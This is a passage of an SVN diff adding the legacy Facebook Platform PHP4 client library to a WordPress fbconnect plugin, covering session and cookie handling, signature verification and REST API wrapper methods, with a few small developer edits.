+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+// no changes were made to this file - Kev
+if  (!class_exists('Facebook')):
+include_once 'facebookapi_php4_restlib.php';
+
+class Facebook {
+  var $api_client;
+
+  var $api_key;
+  var $secret;
+
+  var $fb_params;
+  var $user;
+
+  var $ec;
+
+  function Facebook($api_key, $secret) {
+    $this->api_key    = $api_key;
+    $this->secret     = $secret;
+
+    $this->api_client = new FacebookRestClient($api_key, $secret, $this);
+    $this->ec         = new FacebookAPIErrorCodes();
+
+    $this->validate_fb_params();
+
+    if (isset($this->fb_params['friends'])) {
+      $this->api_client->friends_list = explode(',', $this->fb_params['friends']);
+    }
+    if (isset($this->fb_params['added'])) {
+      $this->api_client->added = $this->fb_params['added'];
+    }
+  }
+  
+  function validate_fb_params() {    
+    $this->fb_params = $this->get_valid_fb_params($_POST, 48*3600, 'fb_sig');
+    if (!$this->fb_params) {
+      $this->fb_params = $this->get_valid_fb_params($_GET, 48*3600, 'fb_sig');
+    }
+    if ($this->fb_params) {
+      // If we got any fb_params passed in at all, then either:
+      //  - they included an fb_user / fb_session_key, which we should assume to be correct
+      //  - they didn't include an fb_user / fb_session_key, which means the user doesn't have a
+      //    valid session and if we want to get one we'll need to use require_login().  (Calling
+      //    set_user with null values for user/session_key will work properly.)
+      // Note that we should *not* use our cookies in this scenario, since they may be referring to
+      // the wrong user.
+      $user        = isset($this->fb_params['user'])        ? $this->fb_params['user'] : null;
+      $session_key = isset($this->fb_params['session_key']) ? $this->fb_params['session_key'] : null;
+      $expires     = isset($this->fb_params['expires'])     ? $this->fb_params['expires'] : null;
+      $this->set_user($user, $session_key, $expires);
+    } else if (!empty($_COOKIE) && $cookies = $this->get_valid_fb_params($_COOKIE, null, $this->api_key)) {
+      // use $api_key . '_' as a prefix for the cookies in case there are
+      // multiple facebook clients on the same domain.
+      $this->set_user($cookies['user'], $cookies['session_key']);
+    } else if (isset($_GET['auth_token']) && $session = $this->do_get_session($_GET['auth_token'])) {
+      $this->set_user($session['uid'], $session['session_key'], $session['expires']);
+    }
+
+    return !empty($this->fb_params);
+  }
+
+  function do_get_session($auth_token) {
+    $res = $this->api_client->auth_getSession($auth_token);
+    if (is_array($res)) {
+      return $res;
+    }
+    return false;
+  }
+
+  function redirect($url) {
+    if ($this->in_fb_canvas()) {
+      echo '<fb:redirect url="' . $url . '"/>';
+    } else if (preg_match('/^https?:\/\/([^\/]*\.)?facebook\.com(:\d+)?/i', $url)) {
+      // make sure facebook.com url's load in the full frame so that we don't
+      // get a frame within a frame.
+      echo "<script type=\"text/javascript\">\ntop.location.href = \"$url\";\n</script>";
+    } else {
+      header('Location: ' . $url);
+    }
+    exit;
+  }
+
+  function in_frame() {
+    return isset($this->fb_params['in_canvas']) || isset($this->fb_params['in_iframe']);
+  }
+  function in_fb_canvas() {
+    return isset($this->fb_params['in_canvas']);
+  }
+
+  function get_loggedin_user() {
+    return $this->user;
+  }
+
+  function current_url() {
+    return 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+  }
+
+  function require_login() {
+    if ($user = $this->get_loggedin_user()) {
+      return $user;
+    }
+    $this->redirect($this->get_login_url($this->current_url(), $this->in_frame()));
+  }
+
+  function require_install() {
+    // this was renamed, keeping for compatibility's sake
+    return $this->require_add();
+  }
+
+  function require_add() {
+    if ($user = $this->get_loggedin_user()) {
+      if ($this->fb_params['added']) {
+        return $user;
+      }
+    }
+    $this->redirect($this->get_add_url($this->current_url()));
+  }
+
+  function require_frame() {
+    if (!$this->in_frame()) {
+      $this->redirect($this->get_login_url($this->current_url(), true));
+    }
+  }
+
+  function get_facebook_url($subdomain='www') {
+    return 'http://' . $subdomain . '.facebook.com';
+  }
+
+  function get_install_url($next=null) {
+    // this was renamed, keeping for compatibility's sake
+    return $this->get_add_url($next);
+  }
+
+  function get_add_url($next=null) {
+    return $this->get_facebook_url().'/add.php?api_key='.$this->api_key .
+      ($next ? '&next=' . urlencode($next) : '');
+  }
+
+  function get_login_url($next, $canvas) {
+    return $this->get_facebook_url().'/login.php?v=1.0&api_key=' . $this->api_key .
+      ($next ? '&next=' . urlencode($next)  : '') .
+      ($canvas ? '&canvas' : '');
+  }
+
+  function generate_sig($params_array, $secret) {
+    $str = '';
+
+    ksort($params_array);
+    // Note: make sure that the signature parameter is not already included in
+    //       $params_array.
+    foreach ($params_array as $k=>$v) {
+      $str .= "$k=$v";
+    }
+    $str .= $secret;
+
+    return md5($str);
+  }
+
+  function set_user($user, $session_key, $expires=null) {
+    if (!$this->in_fb_canvas() && (!isset($_COOKIE[$this->api_key . '_user'])
+                                   || $_COOKIE[$this->api_key . '_user'] != $user)) {
+      $cookies = array();
+      $cookies['user'] = $user;
+      $cookies['session_key'] = $session_key;
+      $sig = $this->generate_sig($cookies, $this->secret);
+      foreach ($cookies as $name => $val) {
+        setcookie($this->api_key . '_' . $name, $val, (int)$expires);
+        $_COOKIE[$this->api_key . '_' . $name] = $val;
+      }
+      setcookie($this->api_key, $sig, (int)$expires);
+      $_COOKIE[$this->api_key] = $sig;
+    }
+    $this->user = $user;
+    $this->api_client->session_key = $session_key;
+  }
+
+  /**
+   * Tries to undo the badness of magic quotes as best we can
+   * @param     string   $val   Should come directly from $_GET, $_POST, etc.
+   * @return    string   val without added slashes
+   */
+  function no_magic_quotes($val) {
+    if (get_magic_quotes_gpc()) {
+      return stripslashes($val);
+    } else {
+      return $val;
+    }
+  }
+
+  function get_valid_fb_params($params, $timeout=null, $namespace='fb_sig') {
+    $prefix = $namespace . '_';
+    $prefix_len = strlen($prefix);
+    $fb_params = array();
+    foreach ($params as $name => $val) {
+      if (strpos($name, $prefix) === 0) {
+        $fb_params[substr($name, $prefix_len)] = $this->no_magic_quotes($val);
+      }
+    }
+    if ($timeout && (!isset($fb_params['time']) || time() - $fb_params['time'] > $timeout)) {
+      return array();
+    }
+    if (!isset($params[$namespace]) || !$this->verify_signature($fb_params, $params[$namespace])) {
+      return array();
+    }
+    return $fb_params;
+  }
+
+  function verify_signature($fb_params, $expected_sig) {
+    return $this->generate_sig($fb_params, $this->secret) == $expected_sig;
+  }
+  
+  function expire_session() {
+  	  $this->api_client->auth_expireSession();
+	  if (!$this->in_fb_canvas() && isset($_COOKIE[$this->api_key . '_user'])) {
+      
+        $cookies = array('user', 'session_key', 'expires', 'ss');
+        foreach ($cookies as $name) {
+          setcookie($this->api_key . '_' . $name, false, time() - 3600,"/");
+          unset($_COOKIE[$this->api_key . '_' . $name]);
+		  //echo "SET ".$this->api_key . '_' . $name;
+        }
+        setcookie($this->api_key, false, time() - 3600,"/");
+        unset($_COOKIE[$this->api_key]);
+      }
+      $this->user = 0;
+      $this->api_client->session_key = 0;
+      return true;
+  }
+}
+endif;
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebookapi_php4_restlib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebookapi_php4_restlib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebookapi_php4_restlib.php	(revision 44)
@@ -0,0 +1,1723 @@
+<?php
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP4 client                                 |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+//
+// What I've changed:
+// PHP4 does not have json_encode so I added a JSON.php class (in classes/ directory,
+// function which takes care of it is at the bottom of the file
+// Facebook now fixed their problems with public's, so the only change now is I used an old xml2array function instead of simplexml
+// because if you have a query which returns a lot of results (i.e. friends when you have about 3000 friends)
+// simplexml will not be able to handle that and give you a timeout, old xml2array takes a few seconds for the same query
+// of course simplexml is still availble, just uncomment the following line and the convert_simplexml_to_array function on line 1441
+//include_once 'simplexml44-0_4_4/class/IsterXmlSimpleXMLImpl.php';
+
+if  (!class_exists('FacebookRestClient')):
+class FacebookRestClient {
+  var $secret;
+  var $session_key;
+  var $api_key;
+  var $facebook;
+  var $error_code;
+  var $friends_list; // to save making the friends.get api call, this will get prepopulated on canvas pages
+  var $added;        // to save making the users.isAppAdded api call, this will get prepopulated on canvas pages
+
+  /**
+   * Create the client.
+   * @param string $session_key if you haven't gotten a session key yet, leave
+   *                            this as null and then set it later by just
+   *                            directly accessing the $session_key member
+   *                            variable.
+   */
+  function FacebookRestClient($api_key, $secret, &$facebook, $session_key=null) {
+    $this->secret       = $secret;
+    $this->session_key  = $session_key;
+    $this->api_key      = $api_key;
+    $this->last_call_id = 0;
+    $this->facebook     = &$facebook;
+    $this->error_code   = 0;
+    $this->server_addr  = $this->facebook->get_facebook_url('api') . '/restserver.php';
+    if ($GLOBALS['facebook_config']['debug']) {
+      $this->cur_id = 0;
+      ?>
+<script type="text/javascript">
+var types = ['params', 'xml', 'php', 'sxml'];
+function toggleDisplay(id, type) {
+  for each (var t in types) {
+    if (t != type || document.getElementById(t + id).style.display == 'block') {
+      document.getElementById(t + id).style.display = 'none';
+    } else {
+      document.getElementById(t + id).style.display = 'block';
+    }
+  }
+  return false;
+}
+</script>
+<?php
+    }
+  }
+
+  /**
+   * Returns the session information available after current user logs in.
+   * @param string $auth_token the token returned by auth_createToken or
+   *  passed back to your callback_url.
+   * @return assoc array containing session_key, uid
+   */
+  function auth_getSession($auth_token) {
+    $result = $this->call_method('facebook.auth.getSession', array('auth_token'=>$auth_token));
+    $this->session_key = $result['session_key'];
+    if (isset($result['secret']) && $result['secret']) {
+      // desktop apps have a special secret
+      $this->secret = $result['secret'];
+    }
+    return $result;
+  }
+
+ /**
+   * Expires the session that is currently being used.  If this call is successful, no further calls to the
+   * API (which require a session) can be made until a valid session is created.
+   *
+   * @return bool  true if session expiration was successful, false otherwise
+   */
+  function auth_expireSession() {
+      return $this->call_method('facebook.auth.expireSession', array());
+  }
+  
+  /**
+   * Returns events according to the filters specified.
+   * @param int $uid Optional: User associated with events.
+   *   A null parameter will default to the session user.
+   * @param array $eids Optional: Filter by these event ids.
+   *   A null parameter will get all events for the user.
+   * @param int $start_time Optional: Filter with this UTC as lower bound.
+   *   A null or zero parameter indicates no lower bound.
+   * @param int $end_time Optional: Filter with this UTC as upper bound.
+   *   A null or zero parameter indicates no upper bound.
+   * @param string $rsvp_status Optional: Only show events where the given uid
+   *   has this rsvp status.  This only works if you have specified a value for
+   *   $uid.  Values are as in events.getMembers.  Null indicates to ignore
+   *   rsvp status when filtering.
+   * @return array of events
+   */
+  function events_get($uid, $eids, $start_time, $end_time, $rsvp_status) {
+    return $this->call_method('facebook.events.get',
+        array(
+        'uid' => $uid,
+        'eids' => $eids,
+        'start_time' => $start_time,
+        'end_time' => $end_time,
+        'rsvp_status' => $rsvp_status));
+  }
+
+  /**
+   * Returns membership list data associated with an event
+   * @param int $eid : event id
+   * @return assoc array of four membership lists, with keys 'attending',
+   *  'unsure', 'declined', and 'not_replied'
+   */
+  function events_getMembers($eid) {
+    return $this->call_method('facebook.events.getMembers',
+      array('eid' => $eid));
+  }
+
+  /**
+   * Makes an FQL query.  This is a generalized way of accessing all the data
+   * in the API, as an alternative to most of the other method calls.  More
+   * info at http://developers.facebook.com/documentation.php?v=1.0&doc=fql
+   * @param string $query the query to evaluate
+   * @return generalized array representing the results
+   */
+  function fql_query($query) {
+    return $this->call_method('facebook.fql.query',
+      array('query' => $query));
+  }
+
+  function feed_publishStoryToUser($title, $body,
+                                   $image_1=null, $image_1_link=null,
+                                   $image_2=null, $image_2_link=null,
+                                   $image_3=null, $image_3_link=null,
+                                   $image_4=null, $image_4_link=null) {
+    return $this->call_method('facebook.feed.publishStoryToUser',
+      array('title' => $title,
+            'body' => $body,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link));
+  }
+
+  function feed_publishActionOfUser($title, $body,
+                                    $image_1=null, $image_1_link=null,
+                                    $image_2=null, $image_2_link=null,
+                                    $image_3=null, $image_3_link=null,
+                                    $image_4=null, $image_4_link=null) {
+    return $this->call_method('facebook.feed.publishActionOfUser',
+      array('title' => $title,
+            'body' => $body,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link));
+  }
+
+  function feed_publishTemplatizedAction($actor_id, $title_template, $title_data,
+                                         $body_template, $body_data, $body_general,
+                                         $image_1=null, $image_1_link=null,
+                                         $image_2=null, $image_2_link=null,
+                                         $image_3=null, $image_3_link=null,
+                                         $image_4=null, $image_4_link=null,
+                                         $target_ids='') {
+    return $this->call_method('facebook.feed.publishTemplatizedAction',
+      array('actor_id' => $actor_id,
+            'title_template' => $title_template,
+            'title_data' => $title_data,
+            'body_template' => $body_template,
+            'body_data' => $body_data,
+            'body_general' => $body_general,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link,
+            'target_ids' => $target_ids));
+  }
+
+//REYES
+function json_encode($data){
+	require_once 'classes/JSON.php';
+	$json = new Services_JSON();
+	return $json->encode($data);
+}
+
+  function feed_registerTemplateBundle($one_line_story_templates,$short_story_templates =array(),$full_story_template = null){
+  
+    $templates = array('one_line_story_templates' => $this->json_encode($one_line_story_templates));
+
+    if (!empty($short_story_templates)) {
+      $templates['short_story_templates'] = $this->json_encode($short_story_templates);
+    }
+
+    if (isset($full_story_template)) {
+      $templates['full_story_template'] = $this->json_encode($full_story_template);
+    }
+
+    return $this->call_method('facebook.feed.registerTemplateBundle',
+                              $templates);
+  }
+  
+  function feed_getRegisteredTemplateBundles()
+  {
+    return  $this->call_method('facebook.feed.getRegisteredTemplateBundles', array());
+
+  }
+
+  function feed_getRegisteredTemplateBundleByID($template_bundle_id)
+  {
+    return $this->call_method('facebook.feed.getRegisteredTemplateBundleByID',
+                              array('template_bundle_id' => $template_bundle_id));
+  }
+
+  function feed_deactivateTemplateBundleByID($template_bundle_id)
+  {
+    return $this->call_method('facebook.feed.deactivateTemplateBundleByID',
+                              array('template_bundle_id' => $template_bundle_id));
+  }
+
+  function feed_publishUserAction($template_bundle_id, $template_data,
+                                          $target_ids=array(), $body_general='')
+  {
+    return $this->call_method('facebook.feed.publishUserAction',
+                              array('template_bundle_id' => $template_bundle_id,
+                                    'template_data' => $this->json_encode($template_data),
+                                    'target_ids' => $target_ids,
+                                    'body_general' => $body_general));
+  }
+  
+  
+  
+  /**
+   * Returns whether or not pairs of users are friends.
+   * Note that the Facebook friend relationship is symmetric.
+   * @param array $uids1: array of ids (id_1, id_2,...) of some length X
+   * @param array $uids2: array of ids (id_A, id_B,...) of SAME length X
+   * @return array of uid pairs with bool, true if pair are friends, e.g.
+   *   array( 0 => array('uid1' => id_1, 'uid2' => id_A, 'are_friends' => 1),
+   *          1 => array('uid1' => id_2, 'uid2' => id_B, 'are_friends' => 0)
+   *         ...)
+   */
+  function friends_areFriends($uids1, $uids2) {
+    return $this->call_method('facebook.friends.areFriends',
+        array('uids1'=>$uids1, 'uids2'=>$uids2));
+  }
+
+  /**
+   * Returns the friends of the current session user.
+   * @return array of friends
+   */
+  function friends_get() {
+    if (isset($this->friends_list)) {
+      return $this->friends_list;
+    }
+    return $this->call_method('facebook.friends.get', array());
+  }
+
+  /**
+   * Returns the friends of the session user, who are also users
+   * of the calling application.
+   * @return array of friends
+   */
+  function friends_getAppUsers() {
+    return $this->call_method('facebook.friends.getAppUsers', array());
+  }
+
+  /**
+   * Returns groups according to the filters specified.
+   * @param int $uid Optional: User associated with groups.
+   *  A null parameter will default to the session user.
+   * @param array $gids Optional: group ids to query.
+   *   A null parameter will get all groups for the user.
+   * @return array of groups
+   */
+  function groups_get($uid, $gids) {
+    return $this->call_method('facebook.groups.get',
+        array(
+        'uid' => $uid,
+        'gids' => $gids));
+  }
+
+  /**
+   * Returns the membership list of a group
+   * @param int $gid : Group id
+   * @return assoc array of four membership lists, with keys
+   *  'members', 'admins', 'officers', and 'not_replied'
+   */
+  function groups_getMembers($gid) {
+    return $this->call_method('facebook.groups.getMembers',
+      array('gid' => $gid));
+  }
+
+  /**
+   * Returns the outstanding notifications for the session user.
+   * @return assoc array of
+   *  notification count objects for 'messages', 'pokes' and 'shares',
+   *  a uid list of 'friend_requests', a gid list of 'group_invites',
+   *  and an eid list of 'event_invites'
+   */
+  function notifications_get() {
+    return $this->call_method('facebook.notifications.get', array());
+  }
+
+  /**
+   * Sends a notification to the specified users.
+   * @return (nothing)
+   */
+  function notifications_send($to_ids, $notification) {
+    return $this->call_method('facebook.notifications.send',
+                              array('to_ids' => $to_ids, 'notification' => $notification));
+  }
+
+  /**
+   * Sends an email to the specified user of the application.
+   * @param array $recipients : ids of the recipients
+   * @param string $subject : subject of the email
+   * @param string $text : (plain text) body of the email
+   * @param string $fbml : fbml markup if you want an html version of the email
+   * @return comma separated list of successful recipients
+   */
+  function notifications_sendEmail($recipients, $subject, $text, $fbml) {
+    return $this->call_method('facebook.notifications.sendEmail',
+                              array('recipients' => $recipients,
+                                    'subject' => $subject,
+                                    'text' => $text,
+                                    'fbml' => $fbml));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of pages
+   * @param array $page_ids an array of page ids
+   * @param array $fields an array of strings describing the info fields desired
+   * @param int $uid   Optionally, limit results to pages of which this user is a fan.
+   * @param string type  limits results to a particular type of page.
+   * @return array of pages
+   */
+  function pages_getInfo($page_ids, $fields, $uid, $type) {
+    return $this->call_method('facebook.pages.getInfo', array('page_ids' => $page_ids, 'fields' => $fields, 'uid' => $uid, 'type' => $type));
+  }
+
+  /**
+   * Returns true if logged in user is an admin for the passed page
+   * @param int $page_id target page id
+   * @return boolean
+   */
+  function pages_isAdmin($page_id) {
+    return $this->call_method('facebook.pages.isAdmin', array('page_id' => $page_id));
+  }
+
+  /**
+   * Returns whether or not the page corresponding to the current session object has the app installed
+   * @return boolean
+   */
+  function pages_isAppAdded() {
+    if (isset($this->added)) {
+      return $this->added;
+    }
+    return $this->call_method('facebook.pages.isAppAdded', array());
+  }
+
+  /**
+   * Returns true if logged in user is a fan for the passed page
+   * @param int $page_id target page id
+   * @param int $uid user to compare.  If empty, the logged in user.
+   * @return bool
+   */
+  function pages_isFan($page_id, $uid) {
+    return $this->call_method('facebook.pages.isFan', array('page_id' => $page_id, 'uid' => $uid));
+  }
+
+  /**
+   * Returns photos according to the filters specified.
+   * @param int $subj_id Optional: Filter by uid of user tagged in the photos.
+   * @param int $aid Optional: Filter by an album, as returned by
+   *  photos_getAlbums.
+   * @param array $pids Optional: Restrict to a list of pids
+   * Note that at least one of these parameters needs to be specified, or an
+   * error is returned.
+   * @return array of photo objects.
+   */
+  function photos_get($subj_id, $aid, $pids) {
+    return $this->call_method('facebook.photos.get',
+      array('subj_id' => $subj_id, 'aid' => $aid, 'pids' => $pids));
+  }
+
+  /**
+   * Returns the albums created by the given user.
+   * @param int $uid Optional: the uid of the user whose albums you want.
+   *   A null value will return the albums of the session user.
+   * @param array $aids Optional: a list of aids to restrict the query.
+   * Note that at least one of the (uid, aids) parameters must be specified.
+   * @returns an array of album objects.
+   */
+  function photos_getAlbums($uid, $aids) {
+    return $this->call_method('facebook.photos.getAlbums',
+      array('uid' => $uid,
+            'aids' => $aids));
+  }
+
+  /**
+   * Returns the tags on all photos specified.
+   * @param string $pids : a list of pids to query
+   * @return array of photo tag objects, with include pid, subject uid,
+   *  and two floating-point numbers (xcoord, ycoord) for tag pixel location
+   */
+  function photos_getTags($pids) {
+    return $this->call_method('facebook.photos.getTags',
+      array('pids' => $pids));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of users
+   * @param array $uids an array of user ids
+   * @param array $fields an array of strings describing the info fields desired
+   * @return array of users
+   */
+  function users_getInfo($uids, $fields) {
+    return $this->call_method('facebook.users.getInfo', array('uids' => $uids, 'fields' => $fields));
+  }
+
+  /**
+   * Returns the user corresponding to the current session object.
+   * @return integer uid
+   */
+  function users_getLoggedInUser() {
+    return $this->call_method('facebook.users.getLoggedInUser', array());
+  }
+
+
+  /**
+   * Returns whether or not the user corresponding to the current session object has the app installed
+   * @return boolean
+   */
+  function users_isAppAdded() {
+    if (isset($this->added)) {
+      return $this->added;
+    }
+    return $this->call_method('facebook.users.isAppAdded', array());
+  }
+
+  /**
+   * Sets the FBML for the profile of the user attached to this session
+   * @param   string   $markup     The FBML that describes the profile presence of this app for the user
+   * @param   int      $uid              The user
+   * @param   string   $profile          Profile FBML
+   * @param   string   $profile_action   Profile action FBML
+   * @param   string   $mobile_profile   Mobile profile FBML
+   * @return  array    A list of strings describing any compile errors for the submitted FBML
+   */
+  function profile_setFBML($markup, $uid = null, $profile='', $profile_action='', $mobile_profile='') {
+    return $this->call_method('facebook.profile.setFBML', array('markup' => $markup,
+                                                                'uid' => $uid,
+                                                                'profile' => $profile,
+                                                                'profile_action' => $profile_action,
+                                                                'mobile_profile' => $mobile_profile));
+  }
+
+  function profile_getFBML($uid) {
+    return $this->call_method('facebook.profile.getFBML', array('uid' => $uid));
+  }
+
+  function fbml_refreshImgSrc($url) {
+    return $this->call_method('facebook.fbml.refreshImgSrc', array('url' => $url));
+  }
+
+  function fbml_refreshRefUrl($url) {
+    return $this->call_method('facebook.fbml.refreshRefUrl', array('url' => $url));
+  }
+
+  function fbml_setRefHandle($handle, $fbml) {
+    return $this->call_method('facebook.fbml.setRefHandle', array('handle' => $handle, 'fbml' => $fbml));
+  }
+
+  /**
+   * Get all the marketplace categories
+   *
+   * @return array  A list of category names
+   */
+  function marketplace_getCategories() {
+    return $this->call_method('facebook.marketplace.getCategories', array());
+  }
+
+  /**
+   * Get all the marketplace subcategories for a particular category
+   *
+   * @param  category  The category for which we are pulling subcategories
+   * @return array     A list of subcategory names
+   */
+  function marketplace_getSubCategories($category) {
+    return $this->call_method('facebook.marketplace.getSubCategories', array('category' => $category));
+  }
+
+  /**
+   * Get listings by either listing_id or user
+   *
+   * @param listing_ids   An array of listing_ids (optional)
+   * @param uids          An array of user ids (optional)
+   * @return array        The data for matched listings
+   */
+  function marketplace_getListings($listing_ids, $uids) {
+    return $this->call_method('facebook.marketplace.getListings', array('listing_ids' => $listing_ids, 'uids' => $uids));
+  }
+
+  /**
+   * Search for Marketplace listings.  All arguments are optional, though at least
+   * one must be filled out to retrieve results.
+   *
+   * @param category     The category in which to search (optional)
+   * @param subcategory  The subcategory in which to search (optional)
+   * @param query        A query string (optional)
+   * @return array       The data for matched listings
+   */
+  function marketplace_search($category, $subcategory, $query) {
+    return $this->call_method('facebook.marketplace.search', array('category' => $category, 'subcategory' => $subcategory, 'query' => $query));
+  }
+
+  /**
+   * Remove a listing from Marketplace
+   *
+   * @param listing_id  The id of the listing to be removed
+   * @param status      'SUCCESS', 'NOT_SUCCESS', or 'DEFAULT'
+   * @return bool       True on success
+   */
+  function marketplace_removeListing($listing_id, $status='DEFAULT') {
+    return $this->call_method('facebook.marketplace.removeListing',
+                              array('listing_id'=>$listing_id,
+                                    'status'=>$status));
+  }
+
+  /**
+   * Create/modify a Marketplace listing for the loggedinuser
+   *
+   * @param int              listing_id   The id of a listing to be modified, 0 for a new listing.
+   * @param show_on_profile  bool         Should we show this listing on the user's profile
+   * @param attrs            array        An array of the listing data
+   * @return                 int          The listing_id (unchanged if modifying an existing listing)
+   */
+  function marketplace_createListing($listing_id, $show_on_profile, $attrs) {
+    return $this->call_method('facebook.marketplace.createListing',
+                              array('listing_id'=>$listing_id,
+                                    'show_on_profile'=>$show_on_profile,
+                                    'listing_attrs'=>json_encode($attrs)));
+  }
+
+
+  /////////////////////////////////////////////////////////////////////////////
+  // Data Store API
+
+  /**
+   * Set a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @param  value      preferece's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setUserPreference($pref_id, $value) {
+    return $this->call_method
+      ('facebook.data.setUserPreference',
+       array('pref_id' => $pref_id,
+             'value' => $value));
+  }
+
+  /**
+   * Set a user's all preferences for this application.
+   *
+   * @param  values     preferece values in an associative arrays
+   * @param  replace    whether to replace all existing preferences or
+   *                    merge into them.
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setUserPreferences($values, $replace = false) {
+    return $this->call_method
+      ('facebook.data.setUserPreferences',
+       array('values' => json_encode($values),
+             'replace' => $replace));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @return            preference's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getUserPreference($pref_id) {
+    return $this->call_method
+      ('facebook.data.getUserPreference',
+       array('pref_id' => $pref_id));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @return           preference values
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getUserPreferences() {
+    return $this->call_method
+      ('facebook.data.getUserPreferences',
+       array());
+  }
+
+  /**
+   * Create a new object type.
+   *
+   * @param  name       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_createObjectType($name) {
+    return $this->call_method
+      ('facebook.data.createObjectType',
+       array('name' => $name));
+  }
+
+  /**
+   * Delete an object type.
+   *
+   * @param  obj_type       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_dropObjectType($obj_type) {
+    return $this->call_method
+      ('facebook.data.dropObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Rename an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  new_name       new object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
